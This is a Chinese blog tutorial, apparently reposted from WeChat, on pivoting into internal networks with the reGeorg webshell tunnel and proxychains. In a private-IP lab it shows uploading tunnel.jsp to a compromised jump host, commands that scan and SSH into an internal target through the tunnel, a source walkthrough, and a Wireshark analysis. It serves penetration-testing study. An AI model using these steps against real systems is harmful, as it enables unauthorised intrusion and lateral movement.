-
背景
在内网渗透中,由于防火墙或特殊网络环境的存在,导致我们无法对内网直接发起连接,因此就需要端口反弹,如果进一步对内网其他主机进行渗透,就需要通过内网的代理,才能对其他主机进行渗透。例如现在我们想要连接一台centos服务器的22端口,却发现该端口只能内网连接,那么我们就可以使用这套组合(reGeorg+proxychains)将我们的ssh的流量经过代理访问目标主机,这样就可以成功连接到对方了。
使用reGeorg内网渗透工具前
使用reGeorg+proxychains工具后
-
原理
reGeorg主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个隧道。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
reGeorg由服务端和客户端两部分组成。服务端有php、aspx、asph、jsp、node.js等多个版本,客户端则由python编写。其工作原理可简单描述为python客户端在本地监听一个端口,提供socks服务,并将数据通过http/https协议发送到服务端上,并从服务端上用socket实现转发。
-
实验环境
攻击机:192.168.1.1
跳板机:外网网卡1模拟,IP地址为192.168.1.2,内网网卡2模拟,内网地址为192.168.2.2
目标机:网卡为网卡2,IP地址为192.2.1,可与192.168.2.2互通
攻击机无法直接访问目标机,只能访问跳板机
-
工具源码
https://github.com/freedom-wy/w_reGeorg
-
说明
对原版reGeorg进行了修改
-
工具使用方法
1、通过渗透测试方法找到跳板机漏洞,上传reGeorg服务端文件,如上传tunnel.jsp
2、配置攻击机proxychains
vim /etc/proxychains.conf
在配置文件的最底部,添加代理信息
启动reGeorg客户端,指定端口和proxychains相同,都为8889,检查客户端到服务端通信是否正常
python w_reGeorgSocksProxy.py -p 8889 -u http://192.168.1.2/tunnel.jsp
当显示为Georg says, 'All seems fine',通信正常
尝试使用nmap扫描目标机22端口
freedom@freedom-virtual-machine:~/reGeorg$ sudo proxychains nmap -Pn -sT 192.168.2.1 -p 22
sh: 0: getcwd() failed: No such file or directory
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.60 ( https://nmap.org ) at 2021-02-19 17:43 CST
|S-chain|-<>-127.0.0.1:8889-<><>-192.168.2.1:22-<><>-OK
Nmap scan report for 192.168.2.1
Host is up (0.0071s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
尝试使用ssh连接
freedom@freedom-virtual-machine:~/reGeorg$ sudo proxychains ssh [email protected]
sh: 0: getcwd() failed: No such file or directory
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8889-<><>-192.168.2.1:22-<><>-OK
[email protected]'s password:
-
源码分析
1、检查shell连通性
2、监听本地端口8889,和Proxychains代理端口相同
3、进入session的run方法
4、判断代理协议为socks5还是socks4
5、如果为socks5,执行parseSocks5方法
协商方法和版本号
6、判断代理工具及连接信息
通过atyp判断为Ipv4并执行目标IP和端口的转换
通过cmd判断连接信息并探测端口存活
7、在setupRemoteSession方法中执行端口探测
传参目标机的IP地址和端口
8、服务端接收到数据后,执行端口探测
9、收发交互数据
10、如执行curl等访问命令,则在writer方法中携带curl数据并执行访问
11、在reader方法中获取数据并发送到客户端
12、无数据发送时,执行socket关闭
-
wireshark抓包
注意:由于proxychains监听127.0.0.1:8889端口,则wireshark需要抓取loopback网卡数据包
1、判断代理协议为socks5还是socks4
其中05为socks协议,02:00为版本号和方法,02为proxychains判断依据
2、发送版本号和方法
3、获取连接信息
ver为05, cmd为01, rsv为00, atyp为01c0:a8:01:02为IP地址,00:16为端口号
4、判定端口存活并发送确认数据
在跳板机中抓包,可以看到,攻击机未直接与目标机通信
而是通过跳板机进行跳转的
本文始发于微信公众号(你丫才秃头):reGeorg内网渗透工具使用及源码分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论